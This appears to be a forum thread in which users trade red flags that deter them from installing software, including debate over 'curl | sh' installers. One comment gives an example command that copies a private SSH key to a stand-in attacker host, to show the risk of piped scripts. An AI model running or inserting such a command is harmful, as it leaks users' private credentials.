Have you ever found a GitHub project or anything that seemed nice and tempting to install until you dug a bit deeper?
What are some red flags that should detur anyone from installing and running something?
“This project has been archived on [10+ years ago]. It is now Read Only.”
or
Last commit 5+ years ago
Depends. Software can be done.
Shoutouts to picocrypt!
“Call us for pricing”
I can’t believe that marketing people are this fucking stupid.
Like, full-on knuckle-dragging morons.
They intentionally drive away more paying customers than they could ever “channelize” with this method.
Because most people realize that prices are only ever hidden for malicious, anti-consumer purposes.
Thats for every industry. The burger van with the prices in micro-text behind the guy asking what you want and you better hurry up cause theres a queue
Your example can be wholly explained by inadequate knowledge of visual design (UI/UX, to be specific), especially from a consumption/access position. That’s a technical outcome which is a result of ignorance or failures, not a sales outcome from an explicit strategy of obfuscation.
To put it another way, people making too-small signs for their yard sale that drivers just cannot see at speed, is not the same as companies going “call for pricing”. That would be the same as signs saying, “call us for the yard sale address”. The former is wholly unintentional and borne out of ignorance, the latter is completely intentional anything but accidental.
Aaaaaand tab closed.
Signing-in before being able to use a FREE software.
-glares at Canva after buying Affinity -
That’s why they bought it
Yeah, but it’s still irritating. The only function they added to the software that i use is Image Trace. Otherwise i still use the old Affinity Designer that i bought years ago.
Serif were always great, I’m a bit doom and gloom on it
😭
Support only through a Discord server
Especially in the homebrew/modding world some even only distribute their stuff over discord. Which is an extra level of stupid. Dont think anything else can beat this.
Stalker Gamma comes to my mind, for that you had to join a discord in order to access the launcher, that launcher would auto download and install a bunch of mods for Stalker Anomaly into one big modded game.
Soma Assetto Corsa mod packs were only available to download through Discord, it was awful
I recently deleted my Discord account. This is an immediate nope for me.
Sadly way too many niche groups there and also fb for me to delete. I’d have nothing otherwise.
I just interact as little as possible and never install their software.
Requires weird IDE to build
I shifted 8 GB of files to an older machine just to be able to install Android Studio on barely-supported hardware, and now I’m cloning the repo and the
.gradledirectory alone is 1 GB?I bet they checked in the binary. Git is really poor with binaries since it can’t really diff them. And the worst part is gradle should never have the binary in the source tree
You don’t even need to check in .gradle to a repo, I always have that gitignored. And gradle projects should specify commands to build from CLI rather than having you download an IDE. Android Studio gives you a nice run button but it’s just invoking ./gradlew installDebug under the hood
I’m amused that you mentioned requiring an IDE and then gave gradle (a standalone build tool) and Android as an example… when I’m pretty sure that ios actually requires xcode (AND an apple account) to build apps
The project is requires really weird unconventional set up. Doesn’t package properly, configuration files in weird places, doesn’t follow convention but doesn’t gain anything from it
“Ads, In-App Purchases”
That game is gonna be full-on enshitification.
I’ll see that and raise you a “app is free, but all functionality is paid, which you only find out after you have used the app for its intended purpose and now want the results of the work that you did, specifically when attempting to rescue files from your phone, for instance.”
I’ll also toss in “all functionality is paid on a subscription model that automatically renews unless you manually disable it and you have to buy at least in one year increments”
I really like the ‘free trial’ that requires your CC information and will begin billing you ‘soon’ unless you remember to cancel (and probably burn the card too).
Yeah, in app purchases.
Goddamn! Had this one with “smartdraw.com” lately. I had to draw up a map of our property for a buidling permit, so I looked for an appropriate tool. Spend 3 hours drawing a layout. but turned out I can’t export the drawing unless I buy a year subscription of 8 dollars per month. Fuck them and fuck subscriptions! I downloaded LibreCAD and learned the basics of that.
The 2017 full version of SketchUp is similarly free, FYI. You just have to dig for it on the website.
If I can remove the ads, and unlock pro features with a one time purchase, sure, but if the app is charging me monthly, that’s a deal breaker.
That’s not the case at all. For ads, perhaps, but in application purchases? Many games (especially free to play games, of which there are many excellent ones) have purchases you can make in the game.
Helldivers 2 is an excellent game, and that has DLC packs and individual items you can purchase in game. So does World of Tanks (which is also free to play).
Even some perfectly normal applications have that tag, because there’s a shareware version (maybe with a launch nag “Ad”) and the full paid version (which may only cost a few quid), that you can upgrade to from within the free version. It still counts, even if it’s just a one time thing.
There are many scummy practices some game/application makers employ using ads or in-app purchases, but many don’t, and both types have that sort of label applied.
Honestly, I see that label applied to basically everything these days, so I just ignore it and judge the application based on the nuance of how their monetisation is presented.
Are you really using world of tanks as a good example of in app purchases?
If the project maintainer has a policy of “no politics allowed.”
Rather than a policy more along the lines of “be respectful”
100%.
Then you look through their history and it’s them laugh emojiing something like doing a LGBT suicide or some ridiculous shit.
A rule of thumb I use is how desperate the software is to tell you the weather even when you never asked for it or even set it up to report it.
Venture capital funding. The plan is always to do a rug pull. Though if it properly freely licensed and the code is reasonable enough to be forked, it’s less worrying but still risky. It’s better to work with honest people.
This is why I avoid Bluesky
https://bsky.social/about/blog/03-19-2026-series-b
I didn’t know this about bluesky D:, but it makes sense. Thanks for the heads up. The atproto ecosystem seems to have cool features for user empowerment and it seems to work well on the few occasions I’ve visited atproto sites. I hope they can find an ethical way to persevere, but I can’t imagine that being easy.
Something I ran into just now was AI generated Imagery in Docs or as an Icon.
I am not even that Anti AI as many on here I feel like. But this is a sure fire way to show how much you don’t give a shit about your project. Just use emojis or some shit which is ironically even less work but somehow makes it seem more deliberate.Had a conversation with someone recently about exactly this. Usage of AI generated assets gives me exactly the same feelings as a local business using a gmail or personal ISP email account on their advertising.
It doesn’t automatically mean it’s bad, but it’s an indication that whoever is running things just can’t be bothered to put in effort.
I tried to explain that to my manager but he didn’t believe me
Bun seems cool, but it’s icon looks too much like slop
I don’t think it is. IIRC they had that before AI Image Generation was widely available. You really can’t tell though with the simple cute art style which AI can very easily recreate.
Evidence of vibe-coding. Em dashes and emojis sprinkled throughout the documentation? Code with inline comments pointlessly describing some change, as if you want to know what that block of code used to do more than what it actually does?
It’s vibe-coded garbage by someone who doesn’t know how to code. Stay far away.
inline comments pointlessly describing some change, as if you want to know what that block of code used to do more than what it actually does?
Oh, shit, am AI.
Same, but only after my boss decides to change the functionality for the third time in half a year.
Exactly. I worked on a interface where the elements where shift under conflicting business interests. The comments where a log of dates, person, and what they asked for as we worked on our side to build a case against the insanity.
The comments listed not only what it clearly did but also what it had previously done. Then inevitably something comes in hours before a launch window and that part does not get its comment updated.
cough huntarr cough
Yeah, that… I feel really bad for anyone who trusted and implemented it. The sheer level of exposure with that was mind-blowing. I mean, an endpoint you could hit and just… Get all the API keys?
For anyone who doesn’t know, this write-up is a good one: https://gigcitygeek.com/2026/03/08/huntarr-api-security-risk/
Long story short, a vibe-coded security nightmare for anyone foolish enough to trust it.
the fucking bouncing arrow at the bottom of the page is insufferable
Omfg Gemini loves to add tons of comments on already self explanatory code. It’s super annoying.
I have a solution to that:
🌈✨ Stop using AI to code. ✨🌈
That ship has sailed. The question is how to use AI to code, for every project there’s a sweet spot and it rarely is 0% or 100%.
You really don’t need to. Nobody is forcing you.
And if they are, seriously considering finding another place of work.
Good luck finding a tech company that isn’t forcing devs to use AI.
Uh, I’m working at one.
That was quick.
Are they hiring?
And? I didn’t say it was impossible. I said “good luck”
I very much enjoy using AI for all the biloilerplate, test cases, suggestions, etc. It really makes me more productive, hard metrics behind it. Nobody is forcing me to, they just provide the license and let us use our judgment.
I honestly can’t think of a project where 0% AI would be better. For 100% maybe a very trivial PoC, but even that would require at least a code revision.
So, as with many things, use in moderation is fine.
It’s almost certainly also making your code worse.
It’s not impossible to use AI effectively (although I would argue it’s impossible to use large “frontier” models ethically, as the companies making them are burning the planet down to power the process), but you have to be extremely vigilant and thoughtful about what you’re using it for, and you have to review every single line of code it produces, or you’re going to miss bugs and you’re going to lose skills.
A good way to test yourself is to see if you can still scaffold out an application by hand. Doesn’t matter what… A to-do list, some buttons, whatever. Just test yourself to see if you can still do it.
If you can’t, then you’ve lost the skills necessary to be certain that what you’re producing with AI is actually good.
And if the idea of testing yourself like this makes you uncomfortable? Then AI isn’t a tool you use, it’s an addiction.
I mean, I do leet code semi-regularly, so I’m not too worried about getting rusty. Writing tests is boring as hell, the AI does a decent enough job for at least 90% of them.
I’d be curious to see what your hard metrics are based on.
https://mikelovesrobots.substack.com/p/wheres-the-shovelware-why-ai-coding
Points per sprint, features shipped, test coverage. Defects remain unchanged.
Emoji ridden repos just scream scam to me, too. I feel like people who genuinely want to make an app and actually keep it maintained wouldn’t resort to AI slop code or even a description.
curl | shinstallation method- vomit-colored website, vomit-colored developer avatars, or more obvious: AGENTS.MD in the repo
- compiling yourself is “unsupported”/“not recommended”
- the official website aggressively advertising the company’s SAAS which makes it look like their opensource software is actually paid product
- github issues using convoluted template, instead of letting me write freeform text
- how does curl into sh differ from downloading exes from the Web, or pip/npm/crago/mvn install
- gods forbid people had bad design skills
- AGENTS.md: gods forbid people used tools that I do not agree with
- next 2 I agree with
- people are terrible at describing bugs, they often do not add steps to reproduce, expected outcome, so the bug template helps waste less time
Back in the Python 2.7 days,
curl | grep shwas the standard practice for installing the package manager, pip. Even better, the shell script actually had a binary blob somewhere in the middle. It was shell script up top, binary blob in the middle, and back to shell script at the bottom. Until Python 3.5ish, pip wasn’t bundled with Python, so this was standard practice.Noob here, what’s wrong with curl | sh installs?
The real answer is that user-agents can be used to show you one version in your browser and then serve you another one with curl.
I say “real” because all the idiots talking about “don’t run scripts from the internet!!!” probably forget they don’t decompile every binary they run. E.g. the rustup installer (the tool for managing Rust toolchains) is by default a curl+bash one liner. Why would I worry about them serving me a wrong script when I’m any way about to run their binary blob?
If you have any doubt about the hosting service (which might or not be the same as the software author!) then avoid piping into bash, but then why would you run their code at all if you distrust them so much? Do you expect github to install a keylogger? Probably not. Some telemetry hook to know whose running the requested script? Possibly someday
Let’s say you curl bash something and it has ie ‘scp ~/.ssh/id_ed25519 badComputerGuy’ in it then you just uploaded your private key to the bad guys. And that’s why ssh keys should be password protected
“Download this shell script from the web and execute it right away.”
Probably close to 80% of the words in the sentence are wrong.
As others have said, you are boldly trusting that the script you’re downloading is safe. ALWAYS examine a script before you pipe to bash. Also, open the script in your browser, the copy paste j to your terminal. It’s entirely possible to change the script based on use agent to display differently when your check in your browser versus when you pipe to bash
It forces you to blindly trust that whatever script curl will download is save to run and does exactly what you want / was promised as it will be executed right away.
In THEORY they’re bad because the script could do malicious things and you shouldn’t blindly trust random people on the internet telling you what to execute.
In practice it’s mostly fearmongering because you’re likely trying to install a binary that could do malicious things anyways. “Mostly” because it is a bit less safe as one could MITM the script more easily or something, but not really by that much.
You shouldn’t run
curl | shscripts some random person sends you, but running an official script prom an official source is no more dangerous than running a .Deb file from that same source.
It’s annoying that the Proxmox helper scripts are all curl | sh based.
Some mature projects still do curl .sh, like pivpn and pihole.
which makes sense because they don’t maintain packages on the dozens of different package manager repos.
IMO it’s kind of bogus to knock a project for having a shell install file.
Eh, I’d be more sympathetic if there weren’t a dozen different alternatives to making this exclusively how people install your software.
It’s a virus delivery system waiting to happen. Especially now when you have AI that can help you stand up an imposter site quickly and easily.
If it’s not open source or you are not compiling it:
Why so much fear about the shell script but no fear from the executable?
If it’s open source and you are compiling it:
If you don’t fear the project because you (presumably) have read the source code and determined that it’s fine, why fear a shell script that is most certainly simpler, and you can read it like the rest of the code?
Why so much fear about the shell script but no fear from the executable?
Huh? Fear from both.
If you fear both, and
curl | shis a red flag. Binary blob is also a red flag, if you fear them both equally.Has every software that runs in your computer been compiled by you?
No, but much of it comes from software repositories, which is exactly the point.
it’s not the impact to the user having dozens of choices.
it’s the impact to the developer to having to maintain the packages for dozens of package repo admins that have each their own special requirements for packages that have to be followed. it’s a huge pita that most companies don’t even bother with and just run their own package repo.
IMO the user isn’t blameless when using an install script. anyone who just blindly runs arbitrary code without reading it is a fool asking to be attacked.
Exactly, it’s a shift in responsibilities from the developers of a thing to the users of that thing.
As a grunt at work and a mid-tier “money haver” at best, I’m tired of having everything shift its costs onto me and it’s a red flag that prevents me from installing and running a software package.
Everything around nowadays does this shift if they can get away with it.
I have to set limits on what I tolerate to achieve what gain or the world will leave me dead with a giant tire mark across my chest.
as a foss dev, your problems aren’t my problems.
As a sporadic foss contributor and foss advocate, I ain’t even installing your shit if the only install option is curl pipe to shell.
And I also do think it’s a red flag exactly like the original poster was looking for.
-
It’s not already in my distro’s package manager
-
A github project with 1000 open issues and no commits for 3 years.
My distro has one of the highest amount of software packaged, yet i regularly find software i like that isn’t. There will always be software that isn’t packaged yet useful, i reckon.
Ubuntus package repo is so out of date though. It’s such a pain in the ass.
You clearly haven’t seen Debian stable.
-
When installing if I see a pre-checked check mark I will be more likely to read what the software is trying to install. What are you trying to install now?
















